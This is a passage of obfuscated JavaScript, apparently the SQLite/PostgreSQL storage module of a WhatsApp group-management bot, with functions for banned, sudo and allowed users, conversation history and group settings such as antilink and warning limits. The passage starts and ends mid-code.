_pg[_0x4ad4ec(0x10e)](_0x4ad4ec(0xc0)+_0x4ad4ec(0x10c)+_0x4ad4ec(0x37d)+_0xeb9d45+(_0x4ad4ec(0x301)+_0x4ad4ec(0x138)),[_0x411ded,_0x3c6a30]);else{if(_0x5ea09e[_0x4ad4ec(0x20d)](_backend,_0x5ea09e[_0x4ad4ec(0x3b2)])){if(!_mem[_0x4ad4ec(0x304)][_0x4ad4ec(0x1cc)](_0x3c6a30))_mem[_0x4ad4ec(0x304)][_0x4ad4ec(0x2f6)](_0x3c6a30,{'jid':_0x3c6a30,'antidelete':0x1,'gcpresence':0x0,'events':0x0,'antidemote':0x0,'antipromote':0x0,'antilink':_0x5ea09e[_0x4ad4ec(0xc6)],'antistatusmention':_0x5ea09e[_0x4ad4ec(0xc6)],'antitag':0x0,'welcome':0x0,'goodbye':0x0,'warn_limit':0x3,'antiforeign':0x0});const _0x15ea7b=_mem[_0x4ad4ec(0x304)][_0x4ad4ec(0x25e)](_0x3c6a30);_0x15ea7b[_0xeb9d45]=_0x411ded;}else _db[_0x4ad4ec(0x377)](_0x5ea09e[_0x4ad4ec(0x32f)])[_0x4ad4ec(0x158)](_0x3c6a30),_db[_0x4ad4ec(0x377)](_0x4ad4ec(0xc0)+_0x4ad4ec(0x10c)+_0x4ad4ec(0x37d)+_0xeb9d45+(_0x4ad4ec(0x14c)+_0x4ad4ec(0x302)))[_0x4ad4ec(0x158)](_0x411ded,_0x3c6a30);}cache[_0x4ad4ec(0x22d)+_0x4ad4ec(0x3b1)][_0x4ad4ec(0xbf)](_0x3c6a30);}async function banUser(_0x4d082d){const _0x26be39=_0x598bbe,_0x1b8127={'wQRAz':function(_0x2ff209,_0x37262b,_0x39e8ec,_0x5ee2cd){return _0x2ff209(_0x37262b,_0x39e8ec,_0x5ee2cd);},'aprYu':_0x26be39(0x17f)+_0x26be39(0x198)+_0x26be39(0x1fc)+_0x26be39(0x1b6)+_0x26be39(0x25c)+')','SwHsy':_0x26be39(0x29e)+_0x26be39(0x1fc)+_0x26be39(0x1b6)+_0x26be39(0x16c)+_0x26be39(0x225)+_0x26be39(0x11e)+_0x26be39(0x39c),'htbKt':function(_0x55af5a,_0x2896c5){return _0x55af5a(_0x2896c5);}};await _0x1b8127[_0x26be39(0x382)](qRun,_0x1b8127[_0x26be39(0xf0)],_0x1b8127[_0x26be39(0x32d)],[_0x4d082d]),cache[_0x26be39(0xee)+'s'][_0x26be39(0x231)]=null,_0x1b8127[_0x26be39(0x1a0)](_notify,_bannedListeners);}async function unbanUser(_0x10159e){const _0xfafebe=_0x598bbe,_0x243178={'QVIBi':function(_0x357fec,_0x5cb62a,_0x1c1cd9,_0x1fdef6){return _0x357fec(_0x5cb62a,_0x1c1cd9,_0x1fdef6);},'icEdw':_0xfafebe(0x25b)+_0xfafebe(0x224)+_0xfafebe(0x31a)+_0xfafebe(0x12e),'CEXpu':_0xfafebe(0x25b)+_0xfafebe(0x224)+_0xfafebe(0x31a)+_0xfafebe(0x145),'vHAGy':function(_0x547493,_0x27cbb8){return _0x547493(_0x27cbb8);}};await _0x243178[_0xfafebe(0x147)](qRun,_0x243178[_0xfafebe(0x194)],_0x243178[_0xfafebe(0x3a1)],[_0x10159e]),cache[_0xfafebe(0xee)+'s'][_0xfafebe(0x231)]=null,_0x243178[_0xfafebe(0x343)](_notify,_bannedListeners);}async function getBannedUsers(){const _0x174ab0=_0x598bbe,_0x337c11={'pCpUA':function(_0x587aed,_0x3eb6a6){return _0x587aed(_0x3eb6a6);},'kwgBa':function(_0x6d72d1,_0x3a5e4b,_0x9c68e9){return _0x6d72d1(_0x3a5e4b,_0x9c68e9);},'Flxaa':_0x174ab0(0x25d)+_0x174ab0(0x14e)+_0x174ab0(0x2e1)};if(_0x337c11[_0x174ab0(0xe5)](isCacheValid,cache[_0x174ab0(0xee)+'s']))return cache[_0x174ab0(0xee)+'s'][_0x174ab0(0x231)];const _0x2498da=await _0x337c11[_0x174ab0(0x161)](qAll,_0x337c11[_0x174ab0(0x32b)],_0x337c11[_0x174ab0(0x32b)]),_0x3c4263=_0x2498da[_0x174ab0(0x12a)](_0x50afb9=>_0x50afb9[_0x174ab0(0x1bb)]);return cache[_0x174ab0(0xee)+'s'][_0x174ab0(0x231)]=_0x3c4263,cache[_0x174ab0(0xee)+'s'][_0x174ab0(0x17e)]=Date[_0x174ab0(0x369)](),_0x3c4263;}async function addSudoUser(_0x37523d){const _0x4d0217=_0x598bbe,_0xad2980={'ytGEz':function(_0x52db11,_0x4a2d1a,_0x26fd6e,_0x1daf34){return _0x52db11(_0x4a2d1a,_0x26fd6e,_0x1daf34);},'fiMeQ':_0x4d0217(0x17f)+_0x4d0217(0x198)+_0x4d0217(0xc3)+_0x4d0217(0x359)+_0x4d0217(0x23e),'vCHpn':_0x4d0217(0x29e)+_0x4d0217(0xc3)+_0x4d0217(0x359)+_0x4d0217(0x242)+_0x4d0217(0x2d1)+_0x4d0217(0x3c5)+_0x4d0217(0x37a),'daZLW':function(_0x5405b7,_0x2a6afd){return _0x5405b7(_0x2a6afd);}};await _0xad2980[_0x4d0217(0x31e)](qRun,_0xad2980[_0x4d0217(0x122)],_0xad2980[_0x4d0217(0x1de)],[_0x37523d]),cache[_0x4d0217(0xd1)][_0x4d0217(0x231)]=null,_0xad2980[_0x4d0217(0x1f1)](_notify,_sudoListeners);}async function removeSudoUser(_0x3ba4f5){const _0x1df634=_0x598bbe,_0x2474e7={'RsXkC':function(_0x4ce721,_0x53bcf4,_0xacb32c,_0x36db1a){return _0x4ce721(_0x53bcf4,_0xacb32c,_0x36db1a);},'KisnJ':_0x1df634(0x25b)+_0x1df634(0x285)+_0x1df634(0x228)+_0x1df634(0x1e3),'zFvgV':_0x1df634(0x25b)+_0x1df634(0x285)+_0x1df634(0x228)+_0x1df634(0x1ff),'maHlD':function(_0xe48e8c,_0x2740f6){return _0xe48e8c(_0x2740f6);}};await _0x2474e7[_0x1df634(0xcc)](qRun,_0x2474e7[_0x1df634(0x184)],_0x2474e7[_0x1df634(0x3bd)],[_0x3ba4f5]),cache[_0x1df634(0xd1)][_0x1df634(0x231)]=null,_0x2474e7[_0x1df634(0x305)](_notify,_sudoListeners);}async function getSudoUsers(){const _0x43a6f0=_0x598bbe,_0x5038b9={'xqCdU':function(_0x223de5,_0x52d919){return _0x223de5(_0x52d919);},'fCiPS':function(_0x23e638,_0x5e593e,_0xff14ac){return _0x23e638(_0x5e593e,_0xff14ac);},'AEWLw':_0x43a6f0(0x25d)+_0x43a6f0(0xd5)+_0x43a6f0(0x2ae)};if(_0x5038b9[_0x43a6f0(0x2ba)](isCacheValid,cache[_0x43a6f0(0xd1)]))return cache[_0x43a6f0(0xd1)][_0x43a6f0(0x231)];const _0x505915=await _0x5038b9[_0x43a6f0(0x1af)](qAll,_0x5038b9[_0x43a6f0(0x3bf)],_0x5038b9[_0x43a6f0(0x3bf)]),_0x25c95a=_0x505915[_0x43a6f0(0x12a)](_0x40c8da=>_0x40c8da[_0x43a6f0(0x1bb)]);return cache[_0x43a6f0(0xd1)][_0x43a6f0(0x231)]=_0x25c95a,cache[_0x43a6f0(0xd1)][_0x43a6f0(0x17e)]=Date[_0x43a6f0(0x369)](),_0x25c95a;}async function getAllowedUsers(){const _0x2727de=_0x598bbe,_0x185bab={'QgaiL':function(_0x27de8b,_0x4e2e35,_0x90351d){return _0x27de8b(_0x4e2e35,_0x90351d);},'dmoav':_0x2727de(0x25d)+_0x2727de(0x39d)+_0x2727de(0xf7)},_0x2ca154=await _0x185bab[_0x2727de(0x144)](qAll,_0x185bab[_0x2727de(0x2f9)],_0x185bab[_0x2727de(0x2f9)]);return _0x2ca154[_0x2727de(0x12a)](_0x35c08d=>_0x35c08d[_0x2727de(0x1bb)]);}async function addAllowedUser(_0x27f643){const _0x1c870b=_0x598bbe,_0x175a5c={'qiKVv':function(_0x2cb4f8,_0x39e26b,_0x501670,_0x4ac705){return _0x2cb4f8(_0x39e26b,_0x501670,_0x4ac705);},'lgFvB':_0x1c870b(0x17f)+_0x1c870b(0x198)+_0x1c870b(0x360)+_0x1c870b(0x100)+_0x1c870b(0x148)+'?)','xdwLB':_0x1c870b(0x29e)+_0x1c870b(0x360)+_0x1c870b(0x100)+_0x1c870b(0x148)+_0x1c870b(0xed)+_0x1c870b(0x2bd)+_0x1c870b(0x27b)};await _0x175a5c[_0x1c870b(0x233)](qRun,_0x175a5c[_0x1c870b(0x16a)],_0x175a5c[_0x1c870b(0x264)],[_0x27f643]);}async function removeAllowedUser(_0x241700){const _0x575ee4=_0x598bbe,_0xe5925f={'VzBjf':function(_0x584c46,_0x1f7e85,_0x106429,_0x2c9b90){return _0x584c46(_0x1f7e85,_0x106429,_0x2c9b90);},'zAekW':_0x575ee4(0x25b)+_0x575ee4(0x39e)+_0x575ee4(0x1b7)+_0x575ee4(0x1cd),'CpMiC':_0x575ee4(0x25b)+_0x575ee4(0x39e)+_0x575ee4(0x1b7)+_0x575ee4(0x1e6)};await _0xe5925f[_0x575ee4(0x2b6)](qRun,_0xe5925f[_0x575ee4(0xf1)],_0xe5925f[_0x575ee4(0x3d0)],[_0x241700]);}async function getConversationHistory(_0x13aae8,_0x391a7f=-0x1454+0x1*0x1717+-0x2af){const _0x177c1a=_0x598bbe,_0x1c7d27={'RGaZN':function(_0x5b6f8e,_0x2921a4,_0x3e2ebf,_0xd1bfa5){return _0x5b6f8e(_0x2921a4,_0x3e2ebf,_0xd1bfa5);},'ewNDJ':_0x177c1a(0x14b)+_0x177c1a(0xe3)+_0x177c1a(0x354)+_0x177c1a(0x399)+_0x177c1a(0x2c7)+_0x177c1a(0x3d4)+_0x177c1a(0x15a)+_0x177c1a(0xc4)+_0x177c1a(0x37e)+'\x20?','Miwyq':_0x177c1a(0x14b)+_0x177c1a(0xe3)+_0x177c1a(0x354)+_0x177c1a(0x399)+_0x177c1a(0x2c7)+_0x177c1a(0x18c)+_0x177c1a(0xcf)+_0x177c1a(0x1be)+_0x177c1a(0xf2)+_0x177c1a(0x163)},_0x4c0b5f=await _0x1c7d27[_0x177c1a(0x162)](qAll,_0x1c7d27[_0x177c1a(0x2b9)],_0x1c7d27[_0x177c1a(0x357)],[_0x13aae8,_0x391a7f]);return _0x4c0b5f[_0x177c1a(0x1a7)]();}async function addConversationMessage(_0x3f2042,_0x1bf263,_0x478769){const _0x3f5b24=_0x598bbe,_0x1c315d={'knOgM':function(_0x44ea28,_0x12d854,_0x2e1b4a,_0x5cf60c){return _0x44ea28(_0x12d854,_0x2e1b4a,_0x5cf60c);},'qBght':_0x3f5b24(0x29e)+_0x3f5b24(0x381)+_0x3f5b24(0x19f)+_0x3f5b24(0x373)+_0x3f5b24(0x167)+_0x3f5b24(0x36f)+_0x3f5b24(0x2a9),'licKr':_0x3f5b24(0x29e)+_0x3f5b24(0x381)+_0x3f5b24(0x19f)+_0x3f5b24(0x373)+_0x3f5b24(0x167)+_0x3f5b24(0x36f)+_0x3f5b24(0x186)+_0x3f5b24(0x337),'PVbYH':function(_0x1f2798,_0x13787f){return _0x1f2798===_0x13787f;},'zsYbP':_0x3f5b24(0x1a4),'PnlEb':_0x3f5b24(0x25b)+_0x3f5b24(0x12d)+_0x3f5b24(0x19f)+_0x3f5b24(0xd0)+_0x3f5b24(0x367)+_0x3f5b24(0x383)+_0x3f5b24(0x324)+_0x3f5b24(0x170)+_0x3f5b24(0x1bd)+_0x3f5b24(0x227)+_0x3f5b24(0x31b)+_0x3f5b24(0x136)+_0x3f5b24(0x1be)+_0x3f5b24(0xf2)+_0x3f5b24(0x18a),'HBgDG':function(_0x57ca34,_0x37853f){return _0x57ca34===_0x37853f;},'RvNgB':_0x3f5b24(0x25b)+_0x3f5b24(0x12d)+_0x3f5b24(0x19f)+_0x3f5b24(0xd0)+_0x3f5b24(0x165)+_0x3f5b24(0x251)+_0x3f5b24(0x275)+_0x3f5b24(0x3c3)+_0x3f5b24(0x19a)+_0x3f5b24(0xec)+_0x3f5b24(0x178)+_0x3f5b24(0x2db)+_0x3f5b24(0x1d7)+_0x3f5b24(0x1aa)+_0x3f5b24(0x1cf)};await _0x1c315d[_0x3f5b24(0x195)](qRun,_0x1c315d[_0x3f5b24(0x1b1)],_0x1c315d[_0x3f5b24(0x33f)],[_0x3f2042,_0x1bf263,_0x478769]);if(_0x1c315d[_0x3f5b24(0x34f)](_backend,_0x1c315d[_0x3f5b24(0x139)])&&_db)try{_db[_0x3f5b24(0x377)](_0x1c315d[_0x3f5b24(0x35f)])[_0x3f5b24(0x158)](_0x3f2042,_0x3f2042);}catch{}else _0x1c315d[_0x3f5b24(0x340)](_backend,'pg')&&_pg[_0x3f5b24(0x10e)](_0x1c315d[_0x3f5b24(0x30c)],[_0x3f2042])[_0x3f5b24(0x3d5)](()=>{});}async function clearConversationHistory(_0x50ad00){const _0x1ec3f1=_0x598bbe,_0x39771d={'QXMMW':function(_0xbec56c,_0x2e0fea,_0x2baad4,_0x11801e){return _0xbec56c(_0x2e0fea,_0x2baad4,_0x11801e);},'aGAzA':_0x1ec3f1(0x25b)+_0x1ec3f1(0x12d)+_0x1ec3f1(0x19f)+_0x1ec3f1(0xd0)+_0x1ec3f1(0x1e3),'onBYY':_0x1ec3f1(0x25b)+_0x1ec3f1(0x12d)+_0x1ec3f1(0x19f)+_0x1ec3f1(0xd0)+_0x1ec3f1(0x1ff)};await _0x39771d[_0x1ec3f1(0x37b)](qRun,_0x39771d[_0x1ec3f1(0x374)],_0x39771d[_0x1ec3f1(0x133)],[_0x50ad00]);}function _0x309c(){const _0x5c821f=['ge)\x20VALUES','TEGER\x20NOT\x20','jid\x20=\x20$2','ings\x20(\x0a\x20\x20\x20','ry\x20(num,\x20r','aGAzA','F\x20NOT\x20EXIS','eRdjA','prepare','?\x20LIMIT\x201','arns\x20INTEG','ING','QXMMW','msg_store(','s\x20SET\x20','DESC\x20LIMIT','\x20\x20message\x20',',\x20antidemo','O\x20conversa','wQRAz','\x20id\x20NOT\x20IN','sKSpq','E\x20INDEX\x20IF','atVKY','-memory\x20st','PIBZx','zDdHk','\x20COLUMN\x20IF',',\x20value\x20FR','phone','ABLE\x20IF\x20NO','oZYYS','hone)\x20VALU','INT\x0a\x20\x20\x20\x20\x20\x20','LT\x201,\x20gcpr','vents\x20INTE','TO\x20setting','_store\x20(\x0a\x20','ttings\x20ADD','\x20conversat','available\x20',',\x20\x22user\x22))','ersation_h','NULL,\x0a\x20\x20\x20\x20','ore\x20WHERE\x20','THING','\x20FROM\x20allo','M\x20allowed_','Y,\x20num\x20TEX','OT\x20NULL,\x20w','CEXpu','d_phone\x20WH','qgXxQ','ned_users\x20','RbeKg','AkIAM','length','fagOL','\x20timeout',',\x0a\x20\x20\x20\x20\x20\x20\x20\x20','OW())::BIG','r\x20=\x20$2','\x20CREATE\x20TA','SELECT\x20key','ry\x20WHERE\x20t','x_ch_num\x20O','ngs','bRvJJ','imestamp\x20I','fzKnE','XISTS\x20conv','mnrlD','175441upVLeC','nned_users','PRIMARY\x20KE','istory\x20(\x0a\x20','\x0a\x20\x20\x20\x20\x20\x20CRE','tQpoT','zFvgV','ion_histor','AEWLw','ser\x22,\x20warn','\x20COLUMN\x20an','um\x20TEXT\x20PR','id\x20FROM\x20co','\x20\x20\x20\x20\x20CREAT','CT\x20DO\x20NOTH','\x20\x20\x20\x20);\x0a\x20\x20\x20','❌\x20[ADDWARN','SQLite/PG\x20','lidPhone','nlNHB','id\x20=\x20$1\x20LI','\x20\x20\x20\x20\x20\x20CREA','BjIxe','\x20PRIMARY\x20K','warns\x20+\x201\x20','CpMiC','s)\x20VALUES\x20','StCGG','FAULT\x200,\x0a\x20','RE\x20num\x20=\x20?','catch','node:sqlit','TS\x20msg_sto','127285MNWLQh','ikQtW','(?)','msgs','_phone\x20(li','jid','hZOFD','cixzo','ite3','EXISTS\x20msg','ote\x20INTEGE','memory','ng\x20SQLite\x20','\x20\x20CREATE\x20T','OGNIy','FAULT\x200','O\x20msg_stor','usmention\x20','XT\x20PRIMARY','conversati','($1)\x20ON\x20CO','come\x20INTEG','ZetqL','slice','\x27now\x27))\x0a\x20\x20','ts\x20INTEGER','2182940bWKdFv','cGHUA','PzaKG','SELECT\x201','delete','UPDATE\x20gro','jgYSG','skSjq','O\x20sudo_use','timestamp\x20','allowed_us','miKBC','M\x20msg_stor','TEGER\x20DEFA','EXT\x20NOT\x20NU','DEX\x20IF\x20NOT','\x20(id,\x20jid)','RsXkC','ULT\x200,\x20goo','true','1\x20ORDER\x20BY','ry\x20WHERE\x20n','sudoUsers','EMENT,\x20num','uOTbq','ERE\x20lid\x20=\x20','\x20FROM\x20sudo','igYbh','T\x200,\x20antip','VlJwb','\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20','TUzGe','UpaqH','UlUyK','L,\x20jid\x20TEX','EXISTS\x20war','ZCOJc','antitag\x20IN','race','ns\x20FROM\x20wa','e,\x20message','E\x20IF\x20NOT\x20E','pCpUA','age\x20TEXT\x20N','_ch_num\x20ON','neSKo','XVIgQ','id\x20=\x20?','NULL,\x20send','_history\x20W','$1)\x20ON\x20CON','bannedUser','er\x20TEXT,\x20m','aprYu','zAekW','\x20DESC\x20LIMI','lhjko','hDSuR','ifGCI','reign\x20INTE','wed_users','⚠️\x20[DB]\x20No\x20','TABLE\x20IF\x20N','Y\x20AUTOINCR','ne\x20FROM\x20li','S\x20($1,\x20$2)','opyQI','LL);\x0a\x20\x20\x20\x20\x20','\x20?\x20AND\x20use','users\x20(num','tamp\x20BIGIN','y(num)','ng\x20Heroku\x20','moPcY','aeado','allowed','s\x20(num\x20TEX','\x20\x20\x20\x20\x20\x20\x20\x20ti','mmap_size\x20','zuBKA','CREATE\x20TAB','up_setting','qPCwY','query','$1\x20AND\x20use','\x20\x20\x20CREATE\x20','RxSaN','s\x20(key,\x20va','RQbGA','parse','EFUHg','able\x20and\x20n','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20','LT\x200,\x0a\x20\x20\x20\x20','BDTSV','T\x20NOT\x20NULL','ue)\x20VALUES','T\x20warns\x20=\x20','XT\x20NOT\x20NUL','LICT\x20DO\x20NO','off','sudo_users','EXT,\x20messa','fiMeQ','zQCcQ','pragma','(id,\x20jid)\x20','RETURNING\x20','\x20=\x20$1\x20AND\x20','n_data\x20(ji','O\x20lid_phon','map','\x20$2','lid_phone\x20','M\x20conversa','\x20num\x20=\x20?','essage\x20TEX','antidemote','\x20TEXT\x20PRIM','EIUxy','onBYY','S\x20idx_ms_i','xHycV','?\x20ORDER\x20BY','vYtjw','E\x20jid\x20=\x20$2','zsYbP','DEFAULT\x20\x27o','a\x20(jid,\x20us','T\x20NULL,\x0a\x20\x20',',\x20sender\x20T','SQLite','\x20\x20\x20\x20\x20\x20even','jVGtR','EXISTS\x20set','\x20(key,\x20val','\x20NULL,\x20\x22us','QgaiL','\x20num\x20=\x20$1','imestamp\x20<','QVIBi',')\x20VALUES\x20(','rVhgl','\x20\x20\x20\x20\x20\x20mess','SELECT\x20rol','\x20=\x20?\x20WHERE','kend\x20avail','\x20FROM\x20bann','\x20\x20\x20antilin','UkJnv','ACRbR','RIMARY\x20KEY','SELECT\x20pho','OoYhm','R\x20DEFAULT\x20','M\x20warn_dat','ge\x20TEXT\x20NO','run','\x20EXISTS\x20id','\x20ORDER\x20BY\x20','ITgNk','o\x20DATABASE','uaSJs','antitag','gPNeR','TE\x20TABLE\x20I','kwgBa','RGaZN','T\x20$2','\x20warn_limi','um\x20=\x20$1\x20AN','\x20?)','ole,\x20messa','false','_URL\x20—\x20try','lgFvB','BLE\x20IF\x20NOT','\x20VALUES\x20($','\x20=\x20MEMORY','ULL,\x20times','\x20message,\x20','d\x20FROM\x20con','\x20\x20\x20\x20\x20\x20\x20\x20\x20i','\x20antiforei','T\x20(key)\x20DO','MIT\x201','FAULT\x20\x27off','ts\x20ON\x20msg_',',\x20user));\x0a','HERE\x20num\x20=','dHrIb','E\x20group_se','\x20($1,\x20$2)\x20','tiforeign\x20','\x20\x22user\x22\x20=\x20','time','INSERT\x20OR\x20','42778wguKtp','OT\x20NULL,\x20P','t\x20INTEGER\x20','238576YjAcvc','KisnJ','link\x20TEXT\x20','\x20($1,\x20$2,\x20','e\x20INTEGER\x20',');\x0a\x20\x20\x20\x20\x20\x20C','busy_timeo','T\x2050)','better-sql','RE\x20num\x20=\x20$','OT\x20NULL)','rows','DO\x20UPDATE\x20','\x20$1\x20AND\x20\x22u','ARY\x20KEY\x20(i','?\x20AND\x20user','antidelete','icEdw','knOgM','e\x20Node.js\x20','YsOfj','IGNORE\x20INT','warns','nversation','ne\x20(lid,\x20p','imit\x20INTEG','O\x20warn_dat','d,\x20jid)\x0a\x20\x20','tion_histo','htbKt','FMFHm','ER\x20DEFAULT','eKchI','sqlite','pIjaC','SET\x20messag','reverse','UPDATE\x20war','\x20NOT\x20NULL)','mp\x20DESC\x20LI','⚠️\x20[PG\x20POOL','error','mdKpT','timestamp)','fCiPS','2|10|0|3|5','qBght','LFbZo','FEE-XMD','\x20\x20\x20\x20\x20\x20anti','d)\x20DO\x20NOTH','sers\x20(num)','users\x20WHER',',\x20sender,\x20','e\x20(id,\x20jid','vsdpV','num','gn\x20INTEGER','versation_','\x20timestamp','\x20NULL,\x20jid','yIJBf','nwlKW','O\x20UPDATE\x20S','CGrys','id\x20SERIAL\x20','FAULT\x201,\x20g','OT\x20NULL,\x20t','FLoOr','vONVj','MBeGW',')\x20—\x20using\x20','sender','has','E\x20num\x20=\x20?','gcpresence','MIT\x2050)','stamp);\x0a\x20\x20','public','Argaq','size','dWaST','add','njbfF','BY\x20timesta','CdzQg','bfTxe','CREATE\x20IND','\x20\x20timestam','d\x20ON\x20msg_s','REPLACE\x20IN','vCHpn','e\x20=\x20$4,\x20ti','Y\x20KEY\x20(jid','ykThh','\x20CREATE\x20IN','um\x20=\x20?','nTGJw','k\x20TEXT\x20DEF','E\x20num\x20=\x20$1','$1\x20LIMIT\x201','lHoXn','warn_limit','NULL,\x20PRIM','32686LTVrbA','e\x20WHERE\x20ti','ser\x20TEXT\x20N','banned','\x20=\x20?','IT\x201','daZLW','EwQZz','\x20=\x20-64000','S\x20(?,\x20?)','qHRqQ','d)\x20VALUES\x20','\x20\x20\x20\x20jid\x20TE','d\x20=\x20$1\x20AND','oGSCo','\x20=\x20?\x20AND\x20j','VALUES\x20($1','O\x20banned_u','EFAULT\x200,\x0a','\x20\x20\x20\x20\x20\x20\x20wel','um\x20=\x20$1','\x20CONFLICT\x20','\x20ERROR]:','ff\x27,\x20antis','ntidelete\x20','EXISTS\x20idx','antistatus',',\x20antiprom','one)\x20VALUE','($1,\x20$2,\x201','Y,\x20phone\x20T','cbahx','N\x20conversa','ALTER\x20TABL','ntTZk','TEXT\x20NOT\x20N','XiEex','te\x20INTEGER','trim','Nlpfi','RqwpT','EDPeJ','\x20warns\x20=\x20w','LE\x20IF\x20NOT\x20','DtsCL','dNDJU','ut\x20=\x205000','JkhCT','_ms_ts\x20ON\x20','vKkoC','\x20(num\x20TEXT','EGER\x20DEFAU','\x20DEFAULT\x200','timestamp','exec',',\x20role\x20TEX','lue)\x20VALUE','M\x20banned_u','1)\x20ON\x20CONF','(num\x20TEXT\x20','history\x20WH','rs\x20WHERE\x20n','0,\x0a\x20\x20\x20\x20\x20\x20\x20','KTGnx','ROM\x20msg_st','VhBeU','groupSetti','IomDQ','VMwVS','EY)','data','—\x20using\x20in','qiKVv','CBkWa','stringify','er\x22\x20=\x20$2','3PaYRet','s\x20(\x0a\x20\x20\x20\x20\x20\x20','KLhtK','antipromot','id\x20=\x20?\x20LIM','arns\x20+\x201\x20W','lowed_user','ALUES\x20(?)','EXISTS\x20con','EXISTS\x20ban','e\x20(lid,\x20ph','ALUES\x20($1)','warn_data','group_sett','n\x20restart)',',\x20antistat','user\x20=\x20?','Ineke','floor','esence\x20INT','imestamp)\x20','DIZZl','SzIuE','lue\x20TEXT\x20N','6VdcuOt','s\x20=\x20NORMAL','D\x20id\x20NOT\x20I','LlLkk','SELECT\x20war',',\x20?,\x20?,\x20?,','journal_mo','ign\x20INTEGE','O\x20settings','NFLICT\x20(ji','btRKy','cache_size','DELETE\x20FRO','\x20VALUES\x20(?','SELECT\x20num','get','KEY);\x0a\x20\x20\x20\x20','PG\x20connect','LsGtr','resolve','\x20KEY,\x20anti','xdwLB','emote\x20INTE','Znfoy','ser\x22\x20=\x20$2','mestamp\x20IN','store(time','ing\x20PG...','LFbbk','time(\x27%s\x27,','ET\x20phone\x20=','forEach','zymCh','TE\x20INDEX\x20I','message','ULT\x200,\x0a\x20\x20\x20','hVDto','split','N\x20(SELECT\x20','(lid\x20TEXT\x20','update','OT\x20EXISTS\x20','rn_data\x20WH','EXISTS\x20all','OTHING','\x20\x20\x20\x20\x20\x20\x20\x20\x20e','BgEhN','sudo','SELECT\x20*\x20F','T\x20NULL,\x20va','IMARY\x20KEY)','SQLite\x20bac','11XYLUyu','d,\x20sender,','M\x20sudo_use','mention','T\x200,\x20antid','ry(num);\x0a\x20','mestamp\x20<\x20','_db','jbWbs','ULL,\x20value','orage\x20(dat','IlDQe','\x200,\x20PRIMAR','a\x20WHERE\x20ji','=\x2026843545','\x20\x20\x20\x20\x20\x20\x20jid','\x20KEY\x20NOT\x20N',',\x20?,\x201)','yatvs','ERE\x20jid\x20=\x20','tDINE','MARY\x20KEY,\x20','history\x20(\x0a','\x203,\x0a\x20\x20\x20\x20\x20\x20','HERE\x20jid\x20=','na.db','NULL,\x20role','INSERT\x20INT','all','tatusmenti','yHrtl','lid_phone','GpBCa','✅\x20[DB]\x20Usi','$4,\x20$5)\x20ON','ROM\x20group_','keys','Emkld','\x20(?,\x20?,\x20?)','owed_users','dbye\x20INTEG','TO\x20lid_pho','DTobX','_users','gGkKw','YkWwy','toLowerCas','O\x20group_se','tore(id);\x0a','PostgreSQL','\x20NOT\x20EXIST','VzBjf','d\x20TEXT\x20PRI','T\x200\x0a\x20\x20\x20\x20\x20\x20','ewNDJ','xqCdU','settings','e\x20WHERE\x20id','FLICT\x20DO\x20N','d\x20=\x20?\x20AND\x20','vGfyK','NULL);\x0a\x20\x20\x20','log','LRMYH','a\x20resets\x20o','ATE\x20TABLE\x20','ELBdi','\x27,\x20antitag','istory\x20WHE','ChyRi','re\x20(\x0a\x20\x20\x20\x20\x20','de\x20=\x20WAL','antiforeig','vIaPI','BMJoQ','GER\x20DEFAUL','ite3\x20or\x20us','EXISTS\x20gro','\x20ON\x20CONFLI','cpresence\x20','\x200,\x20warn_l','tings\x20(key','banned_use','rsistence.','INTEGER\x20DE','VcyYl','mfJcH','settings\x20W','\x20$1\x20ORDER\x20','QfZZx','romote\x20INT','\x22user\x22)\x20DO','irdLh','jid\x20TEXT\x20N','ed_users','re\x20(id,\x20ji','ttl','ZrUJo','ARY\x20KEY\x20NO','goodbye','fLvps','cAYNR','temp_store','EXISTS\x20lid','22+\x20for\x20pe',',\x20$2,\x20$3,\x20','warn_data.','history','o_users\x20(n','hQqjb','ukQUT','welcome','YPUHo','REATE\x20TABL','xYyzJ','set','ARY\x20KEY,\x20a','hbtHk','dmoav','ON\x20CONFLIC','7|4|1|6|8|','ICT\x20(jid,\x20','⚠️\x20[DB]\x20Pos','OPyKB','EX\x20IF\x20NOT\x20','OT\x20NULL,\x20u','\x20=\x20$1\x20WHER','\x20jid\x20=\x20?','tgreSQL\x20un','groups','maHlD','Evhdy','dsWbW','ers','TEXT\x20DEFAU','bPfrg','TS\x20idx_ms_','RvNgB','T\x20PRIMARY\x20','\x20\x20\x20\x20antifo','d\x20INTEGER\x20','135171rsxGhQ','er,\x20warns)','\x200,\x20goodby','r\x20=\x20?','phone\x20TEXT','events','p\x20BIGINT\x20N','CT\x20(lid)\x20D','pHJnJ','ttings\x20(ji','sers\x20WHERE','ERE\x20num\x20=\x20','LT\x20\x27off\x27,\x20','NETrj','ytGEz','d\x20TEXT\x20NOT','bbSvA','er\x22\x20TEXT\x20N','next','MEbte','\x20(SELECT\x20i','\x20\x20\x20\x20\x20id\x20TE','T\x20value\x20=\x20','push','S\x20antifore','EXISTS\x20sud','n_data\x20SET','Flxaa','./whatsase','SwHsy','T\x20DEFAULT\x20','fJXSi','\x20TEXT\x20NOT\x20','message,\x20t',')\x20ON\x20CONFL','gs\x20(key\x20TE','msg_store','ings','EY);\x0a\x20\x20\x20\x20\x20','$3)','ysocG','IF\x20NOT\x20EXI','\x0a\x20\x20\x20\x20\x20\x20)','PRAGMA\x20','YTtAn','\x20EXISTS\x20ba','DEFAULT\x200,','licKr','HBgDG','key','on_history','vHAGy','MEhTA','STS\x20settin','insert','antilink','ES\x20(?,\x20?)','lkzCz','arn_data\x20(','\x20EXISTS\x20al','delete\x20INT','includes','AULT\x20(strf','PVbYH','och\x20FROM\x20N','\x20$1','OM\x20setting','filter','\x20FROM\x20conv','\x20INTEGER\x20D','$1\x20AND\x20\x22us','Miwyq','.\x20Install\x20','rs\x20(num)\x20V','synchronou','DEFAULT\x203,','uKBkF','welcome\x20IN','mestamp\x20=\x20','PnlEb','O\x20allowed_','EXTRACT(ep','a\x20(jid,\x20\x22u','value','NTEGER\x20DEF','T\x20EXISTS\x20w','\x20UPDATE\x20SE','um\x20=\x20?\x20AND','AULT\x20\x27off\x27','now','wUCqm','KSvLb','on\x20TEXT\x20DE','TO\x20msg_sto','88MXItaT'];_0x309c=function(){return _0x5c821f;};return _0x309c();}function clearOldConversationHistory(_0x29cbb0=-0x3*-0x32f+0xb*-0x51+-0x60d){const _0x58a723=_0x598bbe,_0x593ec5={'yatvs':function(_0x3d9332,_0x4dc381){return _0x3d9332-_0x4dc381;},'cbahx':function(_0x511839,_0x34d896){return 